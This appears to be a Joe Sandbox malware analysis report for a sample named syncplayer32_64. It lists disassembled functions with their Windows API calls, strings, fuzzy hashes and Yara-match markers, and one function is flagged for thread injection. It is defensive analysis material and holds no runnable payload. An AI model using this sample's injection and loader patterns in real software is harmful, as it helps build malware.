Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID: Q@
API String ID: 352835431-2369137212
Opcode ID: 07b02d0a0acee1d5bbf31b0bc0cbaa283d04d5fe1166f65728fa58cb4cf8732b
Instruction ID: dd8baff0e0c604ca78d82b0097404a494c432aabdc696b9a15c75a658a11cf3a
Opcode Fuzzy Hash: 07b02d0a0acee1d5bbf31b0bc0cbaa283d04d5fe1166f65728fa58cb4cf8732b
Instruction Fuzzy Hash: 90516B71A00609EFDF218F55DD85AAF7FB5FB48750F10422AF911B22A0C3399921DFA9

Function 004035DE Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00402E24), ref: 004035F9
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00402E24), ref: 0040360D
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00402E24), ref: 00403639
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00402E24), ref: 00403671
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00402E24), ref: 00403693
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00402E24), ref: 004036AC
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00402E24), ref: 004036BF
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 004036FD

Strings

$.@, xrefs: 004036A7, 00403699

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID: $.@
API String ID: 1823725401-3185475474
Opcode ID: d09c44be7b725e9416f1bbabc7ff939c5033ef1a694eb4ed66286c613d9d8241
Instruction ID: bef4a5686f707a23519390f62e72ec8722b60112a6af60976956f1fb3d5a3ba4
Opcode Fuzzy Hash: d09c44be7b725e9416f1bbabc7ff939c5033ef1a694eb4ed66286c613d9d8241
Instruction Fuzzy Hash: 823122B25042647FDB307FB49C8483B7E9CE64534A712093BF542F3381E67A9E8186AD

Function 02B43423 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 94libraryloaderCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B43428
GetModuleHandleA.KERNEL32(KERNEL32,CancelIoEx), ref: 02B4346B
GetProcAddress.KERNEL32(00000000), ref: 02B43472
GetLastError.KERNEL32 ref: 02B43486
InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 02B434D7
RtlEnterCriticalSection.NTDLL(00000018), ref: 02B434ED
RtlLeaveCriticalSection.NTDLL(00000018), ref: 02B43518

Strings

KERNEL32, xrefs: 02B43466
CancelIoEx, xrefs: 02B43461

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CriticalSection$AddressCompareEnterErrorExchangeH_prologHandleInterlockedLastLeaveModuleProc
String ID: CancelIoEx$KERNEL32
API String ID: 2902213904-434325024
Opcode ID: f49f51d5293d5288d11c786404a7e8f1b0c2b665c31dc4fe2609f6b0f2ca6581
Instruction ID: 9f3d1b1697aee654a718d36b666d837747e860d23786e969dd643a10f8a3bafd
Opcode Fuzzy Hash: f49f51d5293d5288d11c786404a7e8f1b0c2b665c31dc4fe2609f6b0f2ca6581
Instruction Fuzzy Hash: 3731ADB1A00215DFDB11AF64C888BAABBF8FF48314F1888D9E9059B240DB74D910DFA1

Function 00405448 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 50libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,?,00403DBD,?,Microsoft Visual C++ Runtime Library,00012010,?,00406528,?,00406578,?,?,?,Runtime Error!Program: ), ref: 0040545A
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 00405472
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 00405483
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00405490

Strings

MessageBoxA, xrefs: 0040546C
GetActiveWindow, xrefs: 0040547D
xe@, xrefs: 004054B6, 004054BA
GetLastActivePopup, xrefs: 00405485
user32.dll, xrefs: 00405455

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll$xe@
API String ID: 2238633743-4073082454
Opcode ID: c1c5459b902c6d691e26e6f6b3d5bc075fbf46770f4929c54e66e674ea662e67
Instruction ID: 719c486d86e77ef44942212c2818972a1bc491ccdb8af7780b8a6ee813afdaeb
Opcode Fuzzy Hash: c1c5459b902c6d691e26e6f6b3d5bc075fbf46770f4929c54e66e674ea662e67
Instruction Fuzzy Hash: F3017131700711AFD710CFB4AD80A677EE8FA88791309443BB915F22A1DB788860CB69

Function 00403C99 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000), ref: 00403D06
GetStdHandle.KERNEL32(000000F4,00406528,00000000,?,00000000,00000000), ref: 00403DDC
WriteFile.KERNEL32(00000000), ref: 00403DE3

Strings

..., xrefs: 00403D58
<program name unknown>, xrefs: 00403D16
Runtime Error!Program: , xrefs: 00403D6C
Microsoft Visual C++ Runtime Library, xrefs: 00403DB2
r@, xrefs: 00403CB4

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $r@
API String ID: 3784150691-1191147370
Opcode ID: d598713df4d839de7fd74915155ccdeaa4efa499b3dc35e679589c6eb5dc5418
Instruction ID: b93fff65649126e5b3d37bda6a1812f97b7c921671873a024369cfc986fa55b8
Opcode Fuzzy Hash: d598713df4d839de7fd74915155ccdeaa4efa499b3dc35e679589c6eb5dc5418
Instruction Fuzzy Hash: AE31A772A04208AEEF20EB60DE49FDE7B6CEF45305F1004BBF545F61C1D6BCAA548A59

Function 00405B64 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,004065F4,00000001,00000000,00000103,00000001,00000000,004051E5,00200020,00000000,?,00000000,00000000,00000001), ref: 00405BA3
GetStringTypeA.KERNEL32(00000000,00000001,004065F0,00000001,?,?,00000000,00000000,00000001), ref: 00405BBD
GetStringTypeA.KERNEL32(00000000,00000000,?,00000000,00200020,00000103,00000001,00000000,004051E5,00200020,00000000,?,00000000,00000000,00000001), ref: 00405BF1
MultiByteToWideChar.KERNEL32(Q@ ,00000002,?,00000000,00000000,00000000,00000103,00000001,00000000,004051E5,00200020,00000000,?,00000000,00000000,00000001), ref: 00405C29
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000001), ref: 00405C7F
GetStringTypeW.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000001), ref: 00405C91

Strings

Q@ , xrefs: 00405C26

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID: Q@
API String ID: 3852931651-2369137212
Opcode ID: 1f072edf838c0633f1ddd93648b40b2fa664618b3211cae8d1df43924b460189
Instruction ID: 4b3632b6e53a901d6a2e465bc2c777524628d5a2e1763878187fe0d2e8535d87
Opcode Fuzzy Hash: 1f072edf838c0633f1ddd93648b40b2fa664618b3211cae8d1df43924b460189
Instruction Fuzzy Hash: 1D418C71500609AFDF219F94DD8AAAF3F79FB05310F10443AF902B6290C3399960CBA9

Function 02B51610 Relevance: 10.6, APIs: 7, Instructions: 132COMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(00100002,00000000,00000000,114A922B), ref: 02B516B0
CloseHandle.KERNEL32(00000000), ref: 02B516C5
ResetEvent.KERNEL32(00000000,114A922B), ref: 02B516CF
CloseHandle.KERNEL32(00000000,114A922B), ref: 02B51704
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,114A922B), ref: 02B5177A
CloseHandle.KERNEL32(00000000), ref: 02B5178F

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateOpenReset
String ID:
API String ID: 1285874450-0
Opcode ID: bdc205cb421ebbbfc2b10467e980785d00d1b8b5654d71ecfa5f0d76b04b14e9
Instruction ID: 300afaf0f031ddd94a575992583a6ee86cbbec89890a743eeb4af84efc65afda
Opcode Fuzzy Hash: bdc205cb421ebbbfc2b10467e980785d00d1b8b5654d71ecfa5f0d76b04b14e9
Instruction Fuzzy Hash: BA416E70D10368ABDF20CFA9C848BADBBB8FF05764F144659E818EF280D7349905CBA1

Function 02B42081 Relevance: 10.6, APIs: 7, Instructions: 116timeCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000001), ref: 02B420AC
SetWaitableTimer.KERNEL32(00000000,?,00000001,00000000,00000000,00000000), ref: 02B420CD
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B420D8
InterlockedDecrement.KERNEL32(?), ref: 02B4213E
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000001F4,?), ref: 02B4217A
InterlockedDecrement.KERNEL32(?), ref: 02B42187
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B421A6

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: Interlocked$Exchange$Decrement$CompletionQueuedStatusTimerWaitable
String ID:
API String ID: 1171374749-0
Opcode ID: 41d2f6fb820ad5662b3f63b06f41915e694b8ef16ac1594a1c24ff272db01995
Instruction ID: ce463c1f0d1af33fb3539bee4a2653c05f9be0ff09e946e5af6f79f93a3d7618
Opcode Fuzzy Hash: 41d2f6fb820ad5662b3f63b06f41915e694b8ef16ac1594a1c24ff272db01995
Instruction Fuzzy Hash: C14117715447019FC321DF25D888A6BBBF9EBC8654F004A5EF89A83250DB34E545EBA2

Function 02B51722 Relevance: 10.6, APIs: 7, Instructions: 107synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 02B51ED0: OpenEventA.KERNEL32(00100002,00000000,?,?,?,02B5172E,?,?), ref: 02B51EFF
Part of subcall function 02B51ED0: CloseHandle.KERNEL32(00000000,?,?,02B5172E,?,?), ref: 02B51F14
Part of subcall function 02B51ED0: SetEvent.KERNEL32(00000000,02B5172E,?,?), ref: 02B51F27

OpenEventA.KERNEL32(00100002,00000000,00000000,114A922B), ref: 02B516B0
CloseHandle.KERNEL32(00000000), ref: 02B516C5
ResetEvent.KERNEL32(00000000,114A922B), ref: 02B516CF
CloseHandle.KERNEL32(00000000,114A922B), ref: 02B51704
__CxxThrowException@8.LIBCMT ref: 02B51735

Part of subcall function 02B5455A: RaiseException.KERNEL32(?,?,02B4FB5F,?,?,?,?,?,?,?,02B4FB5F,?,02B70F98,?), ref: 02B545AF

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,114A922B), ref: 02B5177A
CloseHandle.KERNEL32(00000000), ref: 02B5178F

Part of subcall function 02B51C10: GetCurrentProcessId.KERNEL32(?), ref: 02B51C69

WaitForSingleObject.KERNEL32(00000000,000000FF,114A922B), ref: 02B5179F

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: Event$CloseHandle$Open$CreateCurrentExceptionException@8ObjectProcessRaiseResetSingleThrowWait
String ID:
API String ID: 2227236058-0
Opcode ID: f33165fb04c3a581a2377232cb47d3ab0765bde4ada1a8478ce07d18b8ba89cf
Instruction ID: 1d5e5fabc0cd157b5604d32ea08d6ad4dd29a9bb53d466be98a50a4151297e50
Opcode Fuzzy Hash: f33165fb04c3a581a2377232cb47d3ab0765bde4ada1a8478ce07d18b8ba89cf
Instruction Fuzzy Hash: A2314D71D10368ABEF21DBAC9C48BADB7B9EF05364F140199EC1DEF280D7219945CB61

Function 00404658 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,?,00000000,?,?,00403A76), ref: 00404679
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,00000000,?,?,00403A76), ref: 0040469D
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,00000000,?,?,00403A76), ref: 004046B7
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?,?,00403A76), ref: 00404778
HeapFree.KERNEL32(00000000,00000000,?,00000000,?,?,00403A76), ref: 0040478F

Strings

r@, xrefs: 004046D8, 004046E1, 004046EA, 004046F2
r@, xrefs: 00404665, 004046C1, 004046CA, 004046D3, 0040477E

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: AllocVirtual$FreeHeap
String ID: r@$r@
API String ID: 714016831-1712950306
Opcode ID: 6146d640eca2786615fae02a601f05dd2cfcbd8d5d5bc8993479f9a7be96b628
Instruction ID: 1cc5eaf967e246a12e5a52ca871b73f99b907e1947bc06876926af54f9e9662d
Opcode Fuzzy Hash: 6146d640eca2786615fae02a601f05dd2cfcbd8d5d5bc8993479f9a7be96b628
Instruction Fuzzy Hash: A231CFB19407029BD331DF28DD44B62B7A4E785754F11467BF255B72D0E778A8008B5D

Function 02B55D94 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 02B55D94

Part of subcall function 02B58503: RtlEncodePointer.NTDLL(00000000), ref: 02B58506
Part of subcall function 02B58503: __initp_misc_winsig.LIBCMT ref: 02B58521
Part of subcall function 02B58503: GetModuleHandleW.KERNEL32(kernel32.dll,?,02B71598,00000008,00000003,02B70F7C,?,00000001), ref: 02B59281
Part of subcall function 02B58503: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 02B59295
Part of subcall function 02B58503: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 02B592A8
Part of subcall function 02B58503: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 02B592BB
Part of subcall function 02B58503: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 02B592CE
Part of subcall function 02B58503: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 02B592E1
Part of subcall function 02B58503: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 02B592F4
Part of subcall function 02B58503: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 02B59307
Part of subcall function 02B58503: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 02B5931A
Part of subcall function 02B58503: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 02B5932D
Part of subcall function 02B58503: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 02B59340
Part of subcall function 02B58503: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 02B59353
Part of subcall function 02B58503: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 02B59366
Part of subcall function 02B58503: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 02B59379
Part of subcall function 02B58503: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 02B5938C
Part of subcall function 02B58503: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 02B5939F

__mtinitlocks.LIBCMT ref: 02B55D99
__mtterm.LIBCMT ref: 02B55DA2

Part of subcall function 02B55E0A: RtlDeleteCriticalSection.NTDLL(00000000), ref: 02B58939
Part of subcall function 02B55E0A: _free.LIBCMT ref: 02B58940
Part of subcall function 02B55E0A: RtlDeleteCriticalSection.NTDLL(02B73978), ref: 02B58962

__calloc_crt.LIBCMT ref: 02B55DC7
__initptd.LIBCMT ref: 02B55DE9
GetCurrentThreadId.KERNEL32 ref: 02B55DF0

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 34d5ada7d990e038aab73a88e2f00ad1a68a138223d76cffe3f959fd9b157038
Instruction ID: 6cb6b061aa283ca3eac0088ce1dce13c352fc1feffb7863b86252248643bb1ee
Opcode Fuzzy Hash: 34d5ada7d990e038aab73a88e2f00ad1a68a138223d76cffe3f959fd9b157038
Instruction Fuzzy Hash: 2FF0F0325196316EE6397675BC4974B2B83DB01772B6006D9FC20CE0E0FF2184814BA0

Function 02B534C1 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,?,02B53473,00000000), ref: 02B534DB
GetProcAddress.KERNEL32(00000000), ref: 02B534E2
RtlEncodePointer.NTDLL(00000000), ref: 02B534EE
RtlDecodePointer.NTDLL(00000001), ref: 02B5350B

Strings

combase.dll, xrefs: 02B534D6
RoInitialize, xrefs: 02B534CA

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 4c5d99bc67ff25c25c2db7f1725adf77f319906c2fd38f408b597c9ffbb7c97d
Instruction ID: b8583364cee6dcdf8d84e9569ad18b0c763726727cbffb6a0179a33c1bc2a6de
Opcode Fuzzy Hash: 4c5d99bc67ff25c25c2db7f1725adf77f319906c2fd38f408b597c9ffbb7c97d
Instruction Fuzzy Hash: ADE0ED70DD0350AAEA105B70EC4DF163759E700786F0048A4F502D62D1CBB951689F20

Function 02B53596 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,02B534B0), ref: 02B535B0
GetProcAddress.KERNEL32(00000000), ref: 02B535B7
RtlEncodePointer.NTDLL(00000000), ref: 02B535C2
RtlDecodePointer.NTDLL(02B534B0), ref: 02B535DD

Strings

combase.dll, xrefs: 02B535AB
RoUninitialize, xrefs: 02B5359F

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 307e3d3f30481ec77dd7ffa4e31099ff004b202b08052006441eaef2bf682a9f
Instruction ID: d815be2b58035eb3e660863ba76dade15a007800867e0a106ce64a7f3ca69e20
Opcode Fuzzy Hash: 307e3d3f30481ec77dd7ffa4e31099ff004b202b08052006441eaef2bf682a9f
Instruction Fuzzy Hash: 85E01270ED0300ABEA108F60AD4CB163BA8F710789F004CA1F602D2290DBB85168EA10

Function 02B51F30 Relevance: 10.2, APIs: 8, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000029,114A922B,?,?,?,?,00000000,02B66AB8,000000FF,02B521CA), ref: 02B51F6A
TlsSetValue.KERNEL32(00000029,02B521CA,?,?,00000000), ref: 02B51FD7
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02B52001
HeapFree.KERNEL32(00000000), ref: 02B52004

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: HeapValue$FreeProcess
String ID:
API String ID: 1812714009-0
Opcode ID: 3be7a0c08050eb2935e0c5bc51701df0097dd1a6de9fbf461dc9e4b2faedfe20
Instruction ID: 4778ae9176455eb2b009b7d78ded810a082af6590755a196854d52bf97921778
Opcode Fuzzy Hash: 3be7a0c08050eb2935e0c5bc51701df0097dd1a6de9fbf461dc9e4b2faedfe20
Instruction Fuzzy Hash: DF51B0759063249FDB20DF29C448B2ABBE5FF48764F0986A9EC599B390D735EC00CB91

Function 02B65680 Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 02B65790
__FindPESection.LIBCMT ref: 02B657AA

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: 3a2b8943120f7459fc80546c9a4b9e2f20206f995171604376731258e4608c02
Instruction ID: 523d25d482c00b3c08b35351fe6317fe1cfa2984d80875df7974c34630be9b57
Opcode Fuzzy Hash: 3a2b8943120f7459fc80546c9a4b9e2f20206f995171604376731258e4608c02
Instruction Fuzzy Hash: CBA1BF72E007158FDB31CF18D8887B9B7B5FB44324F9546A9DD55AB290EB38E821CB90

Function 02B41C91 Relevance: 9.0, APIs: 6, Instructions: 39synchronizationthreadinjectionCOMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 02B41CB1
CloseHandle.KERNEL32(?), ref: 02B41CBA
InterlockedExchangeAdd.KERNEL32(02B7727C,00000000), ref: 02B41CC6
TerminateThread.KERNEL32(?,00000000), ref: 02B41CD4
QueueUserAPC.KERNEL32(02B41E7C,?,00000000), ref: 02B41CE1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 02B41CEC

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: Wait$CloseExchangeHandleInterlockedMultipleObjectObjectsQueueSingleTerminateThreadUser
String ID:
API String ID: 1946104331-0
Opcode ID: f913322c021c9b832a8e70bdb600030b943590451eb06a7f1805d723fd61d11f
Instruction ID: 199c557bea6c2d57911098a96442f448a98656b209f9c431dc05315054438015
Opcode Fuzzy Hash: f913322c021c9b832a8e70bdb600030b943590451eb06a7f1805d723fd61d11f
Instruction Fuzzy Hash: 1EF08131950204BFD7104B9ADD0DC57FBBCEB45720B004699F56AC21D0DF605950EB70

Function 004038E8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00403907
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 0040393C
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0040399C

Strings

__GLOBAL_HEAP_SELECTED, xrefs: 00403976
__MSVCRT_HEAP_SELECT, xrefs: 00403937

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: 476567a857e94c6b60ab0a2bb3643b3ab9519d2bf8b3118ed803bebf3e2b5968
Instruction ID: 24b01e2c5f2cf27f02eabbfbb156e14d1de3d61a730e22f90953ffde06304200
Opcode Fuzzy Hash: 476567a857e94c6b60ab0a2bb3643b3ab9519d2bf8b3118ed803bebf3e2b5968
Instruction Fuzzy Hash: 9231E4B1A452446EEB31DE755C45BDA3FAC9B02705F2400FBE185F52C2E6B88F89CB19

Function 02B51930 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 02B5197F

Part of subcall function 02B524D3: std::exception::_Copy_str.LIBCMT ref: 02B524EC

Part of subcall function 02B50D50: __CxxThrowException@8.LIBCMT ref: 02B50DAE

std::exception::exception.LIBCMT ref: 02B519DE

Strings

boost unique_lock has no mutex, xrefs: 02B5196E
$, xrefs: 02B519E3
boost unique_lock owns already the mutex, xrefs: 02B519CD

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Copy_strException@8Throwstd::exception::_
String ID: $$boost unique_lock has no mutex$boost unique_lock owns already the mutex
API String ID: 2140441600-46888669
Opcode ID: 7b56fd9ab749ebada88b6226b9e66026195af718ec153040b5eb5ddb131478e8
Instruction ID: 9085863fb7cdc1ba3e7a7cd2e639350f32c8d424774bef48c07774b33af41591
Opcode Fuzzy Hash: 7b56fd9ab749ebada88b6226b9e66026195af718ec153040b5eb5ddb131478e8
Instruction Fuzzy Hash: 812128B15187909FD711EF24C54875BBBE5BF88708F004E9DF9A58B280D7B99848CF92

Function 02B42341 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000001), ref: 02B42350
InterlockedExchange.KERNEL32(?,00000001), ref: 02B42360
PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000), ref: 02B42370
GetLastError.KERNEL32 ref: 02B4237A

Part of subcall function 02B41712: __EH_prolog.LIBCMT ref: 02B41717

Strings

pqcs, xrefs: 02B42388

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ExchangeInterlocked$CompletionErrorH_prologLastPostQueuedStatus
String ID: pqcs
API String ID: 1619523792-2559862021
Opcode ID: 931a9a004284c3c04e44c56cfd8bd024fbcdb2c40a584ebb2f6f5d11132cf7ee
Instruction ID: e1401522c1e06f301fb55763576df039da147a3287df85e66a649f0861bd641c
Opcode Fuzzy Hash: 931a9a004284c3c04e44c56cfd8bd024fbcdb2c40a584ebb2f6f5d11132cf7ee
Instruction Fuzzy Hash: 74F03071950304AFDB20AF74994DBABBBBCEB04649F0049A9F905D3140EF749914ABA1

Function 02B44030 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B44035
